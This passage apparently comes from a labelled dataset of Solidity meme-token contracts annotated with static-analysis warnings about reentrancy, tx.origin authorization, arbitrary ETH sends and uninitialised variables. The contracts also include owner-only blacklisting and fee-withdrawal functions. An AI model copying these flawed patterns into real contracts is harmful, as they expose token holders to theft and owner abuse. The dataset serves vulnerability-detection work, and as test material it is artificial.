internalTaxesRefresh();\n }\n\n uint128 totalTaxAmount = 0;\n\n TaxSetup memory currentTaxSettings;\n\n if (marketMakerPairs[to]) {\n currentTaxSettings = sellTaxDetails;\n } else if (marketMakerPairs[originator]) {\n currentTaxSettings = buyTaxSpec;\n }\n\n if (currentTaxSettings.overallTax > 0) {\n TokenTaxSpec memory taxTokenUpdate = taxTokenBook;\n\n totalTaxAmount = uint128(\n (totalAmount * currentTaxSettings.overallTax) / FEE_BASE\n );\n\n taxTokenUpdate.treasuryTokenStorage += uint80(\n (totalTaxAmount * currentTaxSettings.overallTax) /\n currentTaxSettings.overallTax /\n 1e9\n );\n\n\t\t\t// reentrancy-eth | ID: 5c0623d\n taxTokenBook = taxTokenUpdate;\n\n\t\t\t// reentrancy-events | ID: 69da47e\n\t\t\t// reentrancy-eth | ID: 5c0623d\n super._transfer(originator, address(this), totalTaxAmount);\n }\n\n return totalTaxAmount;\n }\n\n function tokensOtherRescue(\n address addressToken,\n address to\n ) external onlyOwner {\n require(addressToken != address(0), \"Token address cannot be 0\");\n\n uint256 contractTokenAmt = IERC20(addressToken).balanceOf(\n address(this)\n );\n\n SafeERC20.safeTransfer(IERC20(addressToken), to, contractTokenAmt);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 0aa913c): LCX2334.verifyLimits(address,address,uint256) uses tx.origin for authorization require(bool,string)(blockTransferTime[tx.origin] < block.number,Transfer Delay)\n\t// Recommendation for 0aa913c: Do not use 'tx.origin' for authorization.\n function verifyLimits(\n address originator,\n address to,\n uint256 totalAmount\n ) internal {\n if (limitsTradingEnabled) {\n bool recipientExemptFlag = limitException[to];\n\n uint256 balanceRecipient = balanceOf(to);\n\n TransferLimits memory currentLimits = txConstraints;\n\n if (marketMakerPairs[originator] && !recipientExemptFlag) {\n require(totalAmount <= currentLimits.txMax, \"Max Txn\");\n\n require(\n totalAmount + balanceRecipient <= currentLimits.walletLimit,\n \"Max Wallet\"\n );\n } else if (marketMakerPairs[to] && !limitException[originator]) {\n require(totalAmount <= currentLimits.txMax, \"Max Txn\");\n } else if (!recipientExemptFlag) {\n require(\n totalAmount + balanceRecipient <= currentLimits.walletLimit,\n \"Max Wallet\"\n );\n }\n\n if (transferDelayMode) {\n if (\n to != address(exchangeRouter) &&\n to != address(pairLiquidity)\n ) {\n\t\t\t\t\t// tx-origin | ID: 0aa913c\n require(\n blockTransferTime[tx.origin] < block.number,\n \"Transfer Delay\"\n );\n }\n }\n }\n\n if (antiMevGuard) {\n if (marketMakerPairs[to]) {\n require(\n blockTransferTime[originator] < block.number,\n \"Anti MEV\"\n );\n } else {\n\t\t\t\t// reentrancy-benign | ID: 7ddaf82\n blockTransferTime[to] = block.number;\n\n\t\t\t\t// reentrancy-benign | ID: 7ddaf82\n blockTransferTime[tx.origin] = block.number;\n }\n }\n }\n\n function internalTaxesRefresh() internal {\n uint256 startBlocksElapsed = block.number - blockInitial;\n\n if (startBlocksElapsed <= 10) {\n calibrateTaxAndLimits(3000, 50);\n } else if (startBlocksElapsed <= 20) {\n calibrateTaxAndLimits(2000, 75);\n } else if (startBlocksElapsed <= 30) {\n calibrateTaxAndLimits(1000, 100);\n } else if (startBlocksElapsed <= 40) {\n calibrateTaxAndLimits(500, 100);\n } else {\n calibrateTaxAndLimits(0, 10000);\n\n\t\t\t// reentrancy-benign | ID: dd602ca\n dynamicTaxActive = false;\n\n\t\t\t// reentrancy-benign | ID: dd602ca\n transferDelayMode = false;\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 03f57da): LCX2334.buyTaxSettingsSet(uint64).taxSettings is a local variable never initialized\n\t// Recommendation for 03f57da: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function buyTaxSettingsSet(uint64 valueTreasuryTax) external onlyOwner {\n TaxSetup memory taxSettings;\n\n taxSettings.overallTax = valueTreasuryTax;\n\n emit UpdateBuyTax(taxSettings.overallTax);\n\n buyTaxSpec = taxSettings;\n }\n\n function setupBots(\n address[] calldata botAddress,\n bool statusValue\n ) public onlyOwner {\n for (uint256 i = 0; i < botAddress.length; i++) {\n if (\n (!marketMakerPairs[botAddress[i]]) &&\n (botAddress[i] != address(exchangeRouter)) &&\n (botAddress[i] != address(this)) &&\n (!feesExempt[botAddress[i]] && !limitException[botAddress[i]])\n ) flagInternalBots(botAddress[i], statusValue);\n }\n }\n\n function ethConversionTokens(uint256 amountOfTokens) private {\n address[] memory swapRoute = new address[](2);\n\n swapRoute[0] = address(this);\n\n swapRoute[1] = wethTokenWrapped;\n\n\t\t// reentrancy-events | ID: 69da47e\n\t\t// reentrancy-events | ID: 4de37a5\n\t\t// reentrancy-benign | ID: dd602ca\n\t\t// reentrancy-benign | ID: 7ddaf82\n\t\t// reentrancy-eth | ID: 5c0623d\n\t\t// reentrancy-eth | ID: 3f8a512\n\t\t// reentrancy-eth | ID: 84d066a\n exchangeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountOfTokens,\n 0,\n swapRoute,\n address(this),\n block.timestamp\n );\n }\n\n function updateMaxTransaction(uint128 tokensMax) external onlyOwner {\n require(\n tokensMax >= ((totalSupply() * 1) / 1000) / (10 ** decimals()),\n \"Too low\"\n );\n\n txConstraints.txMax = uint128(tokensMax * (10 ** decimals()));\n\n emit TransactionMaxModify(txConstraints.txMax);\n }\n\n function modifyLimitExempt(\n address addrAccount,\n bool feeExemptStatus\n ) external onlyOwner {\n require(addrAccount != address(0), \"Zero Address\");\n\n if (!feeExemptStatus) {\n require(addrAccount != pairLiquidity, \"Cannot remove pair\");\n }\n\n limitException[addrAccount] = feeExemptStatus;\n\n emit SetExemptLimit(addrAccount, feeExemptStatus);\n }\n\n function modifyExemptStatusFee(\n address addrAccount,\n bool feeExemptStatus\n ) external onlyOwner {\n require(addrAccount != address(0), \"Zero Address\");\n\n require(addrAccount != address(this), \"Cannot unexempt contract\");\n\n feesExempt[addrAccount] = feeExemptStatus;\n\n emit SetFeeExemptStatus(addrAccount, feeExemptStatus);\n }\n\n function delayRemoveTransfer() external onlyOwner {\n require(transferDelayMode, \"Already disabled!\");\n\n transferDelayMode = false;\n }\n\n function setWalletMax(uint128 tokensMax) external onlyOwner {\n require(\n tokensMax >= ((totalSupply() * 1) / 1000) / (10 ** decimals()),\n \"Too low\"\n );\n\n txConstraints.walletLimit = uint128(tokensMax * (10 ** decimals()));\n\n emit WalletMaxUpdate(txConstraints.walletLimit);\n }\n\n function stopTaxDynamic() external onlyOwner {\n require(dynamicTaxActive, \"Already off\");\n\n dynamicTaxActive = false;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fa900a2): LCX2334.setThresholdSwap(uint256) should emit an event for swapCap = thresholdAmount \n\t// Recommendation for fa900a2: Emit an event for critical parameter changes.\n function setThresholdSwap(uint256 thresholdAmount) external onlyOwner {\n require(\n thresholdAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n thresholdAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\n\t\t// events-maths | ID: fa900a2\n swapCap = thresholdAmount;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 60001b8): LCX2334.modifySellTaxSettings(uint64).taxSettings is a local variable never initialized\n\t// Recommendation for 60001b8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function modifySellTaxSettings(uint64 valueTreasuryTax) external onlyOwner {\n TaxSetup memory taxSettings;\n\n taxSettings.overallTax = valueTreasuryTax;\n\n emit SellTaxUpdate(taxSettings.overallTax);\n\n sellTaxDetails = taxSettings;\n }\n}\n",
"file_name": "solidity_code_106.sol",
"size_bytes": 40423,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Luce Dog\";\n\n string private constant _symbol = unicode\"Santino\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33e2a78): Contract._finalBuyTax should be constant \n\t// Recommendation for 33e2a78: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46ccd33): Contract._finalSellTax should be constant \n\t// Recommendation for 46ccd33: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal / 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal / 50;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private takeTax = true;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(address(owner()));\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a018c51): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a018c51: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f36ec9a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f36ec9a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a018c51\n\t\t// reentrancy-benign | ID: f36ec9a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a018c51\n\t\t// reentrancy-benign | ID: f36ec9a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f36ec9a\n\t\t// reentrancy-benign | ID: d68a2f8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a018c51\n\t\t// reentrancy-events | ID: c18c3eb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b49fae3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b49fae3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 431cd1b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 431cd1b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (takeTax) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b49fae3\n\t\t\t\t// reentrancy-eth | ID: 431cd1b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b49fae3\n\t\t\t\t\t// reentrancy-eth | ID: 431cd1b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 431cd1b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 431cd1b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 431cd1b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b49fae3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 431cd1b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 431cd1b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b49fae3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a018c51\n\t\t// reentrancy-events | ID: b49fae3\n\t\t// reentrancy-events | ID: c18c3eb\n\t\t// reentrancy-benign | ID: f36ec9a\n\t\t// reentrancy-benign | ID: d68a2f8\n\t\t// reentrancy-eth | ID: 431cd1b\n\t\t// reentrancy-eth | ID: 775b4dc\n\t\t// reentrancy-eth | ID: 6e9fb03\n\t\t// reentrancy-eth | ID: a54a120\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 27da5e2): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 27da5e2: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a018c51\n\t\t// reentrancy-events | ID: b49fae3\n\t\t// reentrancy-events | ID: c18c3eb\n\t\t// reentrancy-eth | ID: 431cd1b\n\t\t// reentrancy-eth | ID: 775b4dc\n\t\t// reentrancy-eth | ID: 6e9fb03\n\t\t// reentrancy-eth | ID: a54a120\n\t\t// arbitrary-send-eth | ID: 27da5e2\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c18c3eb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c18c3eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d68a2f8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d68a2f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2965992): Contract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2965992: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1972cc0): Contract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)).mul(100 15).div(100),0,0,owner(),block.timestamp)\n\t// Recommendation for 1972cc0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 775b4dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 775b4dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6e9fb03): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6e9fb03: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a54a120): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a54a120: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n if (block.chainid == 56) {\n routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n } else if (block.chainid == 97) {\n routerAddress = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;\n } else if (\n block.chainid == 1 ||\n block.chainid == 4 ||\n block.chainid == 3 ||\n block.chainid == 5 ||\n block.chainid == 31337\n ) {\n routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n } else if (block.chainid == 11155111) {\n routerAddress = 0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008;\n } else {\n revert();\n }\n\n uniswapV2Router = IUniswapV2Router02(routerAddress);\n\n takeTax = false;\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: c18c3eb\n\t\t// reentrancy-benign | ID: d68a2f8\n\t\t// reentrancy-eth | ID: 775b4dc\n\t\t// reentrancy-eth | ID: 6e9fb03\n\t\t// reentrancy-eth | ID: a54a120\n transfer(address(this), balanceOf(msg.sender));\n\n\t\t// reentrancy-events | ID: c18c3eb\n\t\t// reentrancy-benign | ID: d68a2f8\n\t\t// reentrancy-eth | ID: 775b4dc\n\t\t// reentrancy-eth | ID: 6e9fb03\n\t\t// reentrancy-eth | ID: a54a120\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: c18c3eb\n\t\t// reentrancy-benign | ID: d68a2f8\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 1972cc0\n\t\t// reentrancy-eth | ID: 775b4dc\n\t\t// reentrancy-eth | ID: a54a120\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)).mul(100 - 15).div(100),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-eth | ID: a54a120\n takeTax = true;\n\n\t\t// unused-return | ID: 2965992\n\t\t// reentrancy-eth | ID: 775b4dc\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 775b4dc\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 775b4dc\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_1060.sol",
"size_bytes": 22812,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract ContractContext {\n function _senderAddress() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IToken {\n function supply() external view returns (uint256);\n\n function balanceOfAccount(address account) external view returns (uint256);\n\n function sendTo(address recipient, uint256 amount) external returns (bool);\n\n function permit(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function authorize(address spender, uint256 amount) external returns (bool);\n\n function sendFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Authorization(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Movement(address indexed from, address indexed to, uint256 value);\n}\n\nabstract contract Administrator is ContractContext {\n address private _admin;\n\n event TransferOfAdministration(\n address indexed previousAdmin,\n address indexed newAdmin\n );\n\n constructor() {\n _assignAdmin(_senderAddress());\n }\n\n function _assignAdmin(address newAdmin) private {\n address oldAdmin = _admin;\n\n\t\t// reentrancy-eth | ID: 2b85daa\n _admin = newAdmin;\n\n\t\t// reentrancy-events | ID: dd6c195\n emit TransferOfAdministration(oldAdmin, newAdmin);\n }\n\n function admin() public view virtual returns (address) {\n return _admin;\n }\n\n modifier onlyAdmin() {\n require(\n admin() == _senderAddress(),\n \"Administrator: caller is not the admin\"\n );\n\n _;\n }\n\n function giveUpAdministration() public virtual onlyAdmin {\n _assignAdmin(address(0));\n }\n}\n\nlibrary Arithmetic {\n function subtract(uint256 a, uint256 b) internal pure returns (uint256) {\n return subtract(a, b, \"Arithmetic: subtraction overflow\");\n }\n\n function subtract(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 result = a - b;\n\n return result;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 result = a + b;\n\n require(result >= a, \"Arithmetic: addition overflow\");\n\n return result;\n }\n\n function multiply(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = a * b;\n\n require(result / a == b, \"Arithmetic: multiplication overflow\");\n\n return result;\n }\n\n function divide(uint256 a, uint256 b) internal pure returns (uint256) {\n return divide(a, b, \"Arithmetic: division by zero\");\n }\n\n function divide(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, 